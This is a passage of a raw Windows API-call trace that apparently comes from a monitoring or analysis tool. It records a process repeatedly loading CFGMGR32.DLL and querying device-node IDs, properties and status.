[0206.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.288] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0206.288] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3c, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0206.289] malloc (_Size=0x48) returned 0x196ef0fc080 [0206.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5bcf7638, dwHighDateTime=0x1d9eb0c)) [0206.289] SetEvent (hEvent=0x248) returned 1 [0206.292] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.292] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.296] malloc (_Size=0x18) returned 0x196ef0d1d00 [0206.296] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3c, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0206.296] malloc (_Size=0x48) returned 0x196ef0fbf90 [0206.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bd17119, dwHighDateTime=0x1d9eb0c)) [0206.296] SetEvent (hEvent=0x248) returned 1 [0206.301] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.301] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.303] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.304] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0206.304] CM_Get_Device_IDA (in: dnDevInst=0x3d, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\RDPBUS\\0000") returned 0x0 [0206.304] malloc (_Size=0x48) returned 0x196ef0fb310 [0206.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5bd17119, dwHighDateTime=0x1d9eb0c)) [0206.305] SetEvent (hEvent=0x248) returned 1 [0206.308] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.308] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.311] malloc (_Size=0x18) returned 0x196ef0d1d20 [0206.311] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0206.311] malloc (_Size=0x1a) returned 0x196ef0f9b80 [0206.311] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9b80, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9b80, pulLength=0x67117d608) returned 0x0 [0206.312] free (_Block=0x196ef0f9b80) [0206.312] malloc (_Size=0x48) returned 0x196ef0fbef0 [0206.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5bd3d2dd, dwHighDateTime=0x1d9eb0c)) [0206.312] SetEvent (hEvent=0x248) returned 1 [0206.383] malloc (_Size=0x18) returned 0x196ef0d1e60 [0206.383] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0206.384] free (_Block=0x196ef0d1e60) [0206.384] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855c60 [0206.384] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0206.384] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0206.384] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0206.384] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b63e0 [0206.384] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0206.384] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0206.384] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0206.384] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0206.385] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225f80, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.385] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b63e0) returned 1 [0206.386] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855c60) returned 1 [0206.386] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.386] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.390] malloc (_Size=0x18) returned 0x196ef0d1d60 [0206.390] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0206.390] malloc (_Size=0x48) returned 0x196ef0fba40 [0206.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5bdfc084, dwHighDateTime=0x1d9eb0c)) [0206.390] SetEvent (hEvent=0x248) returned 1 [0206.392] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.392] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.396] malloc (_Size=0x18) returned 0x196ef0d20e0 [0206.396] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.402] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0206.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5be21fb4, dwHighDateTime=0x1d9eb0c)) [0206.402] SetEvent (hEvent=0x248) returned 1 [0206.403] SetEvent (hEvent=0x248) returned 1 [0206.403] free (_Block=0x196ef0fb4a0) [0206.403] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.404] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0206.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5be21fb4, dwHighDateTime=0x1d9eb0c)) [0206.404] SetEvent (hEvent=0x248) returned 1 [0206.405] SetEvent (hEvent=0x248) returned 1 [0206.405] free (_Block=0x196ef0fb2c0) [0206.405] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.406] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0206.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5be21fb4, dwHighDateTime=0x1d9eb0c)) [0206.406] SetEvent (hEvent=0x248) returned 1 [0206.407] SetEvent (hEvent=0x248) returned 1 [0206.407] free (_Block=0x196ef0fb3b0) [0206.407] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.407] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0206.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5be21fb4, dwHighDateTime=0x1d9eb0c)) [0206.408] SetEvent (hEvent=0x248) returned 1 [0206.411] SetEvent (hEvent=0x248) returned 1 [0206.411] free (_Block=0x196ef0fb9a0) [0206.411] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.413] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0206.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5be21fb4, dwHighDateTime=0x1d9eb0c)) [0206.414] SetEvent (hEvent=0x248) returned 1 [0206.414] SetEvent (hEvent=0x248) returned 1 [0206.415] free (_Block=0x196ef0fbfe0) [0206.415] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3d, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0206.415] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0206.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5be21fb4, dwHighDateTime=0x1d9eb0c)) [0206.415] SetEvent (hEvent=0x248) returned 1 [0206.418] SetEvent (hEvent=0x248) returned 1 [0206.418] free (_Block=0x196ef0fbbd0) [0206.418] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3d, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0206.418] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0206.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5be4836f, dwHighDateTime=0x1d9eb0c)) [0206.418] SetEvent (hEvent=0x248) returned 1 [0206.419] SetEvent (hEvent=0x248) returned 1 [0206.420] free (_Block=0x196ef0fb8b0) [0206.420] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0206.420] malloc (_Size=0x48) returned 0x196ef0fb270 [0206.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5be4836f, dwHighDateTime=0x1d9eb0c)) [0206.420] SetEvent (hEvent=0x248) returned 1 [0206.422] SetEvent (hEvent=0x248) returned 1 [0206.423] free (_Block=0x196ef0fb270) [0206.423] CM_Get_Device_IDA (in: dnDevInst=0x3e, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_293C&SUBSYS_11001AF4&REV_03\\3&11583659&0&18") returned 0x0 [0206.423] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0206.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5be4836f, dwHighDateTime=0x1d9eb0c)) [0206.423] SetEvent (hEvent=0x248) returned 1 [0206.424] SetEvent (hEvent=0x248) returned 1 [0206.424] free (_Block=0x196ef0fb9a0) [0206.425] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0206.425] malloc (_Size=0x124) returned 0x196ef0d6890 [0206.425] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0206.425] free (_Block=0x196ef0d6890) [0206.425] malloc (_Size=0x48) returned 0x196ef0fc170 [0206.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5be4836f, dwHighDateTime=0x1d9eb0c)) [0206.426] SetEvent (hEvent=0x248) returned 1 [0206.426] malloc (_Size=0x18) returned 0x196ef0d1da0 [0206.426] SafeArrayPutElement (psa=0x196ee7beea0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0206.426] free (_Block=0x196ef0d1da0) [0206.426] malloc (_Size=0x18) returned 0x196ef0d1d40 [0206.426] SafeArrayPutElement (psa=0x196ee7beea0, rgIndices=0x67117d6d8, 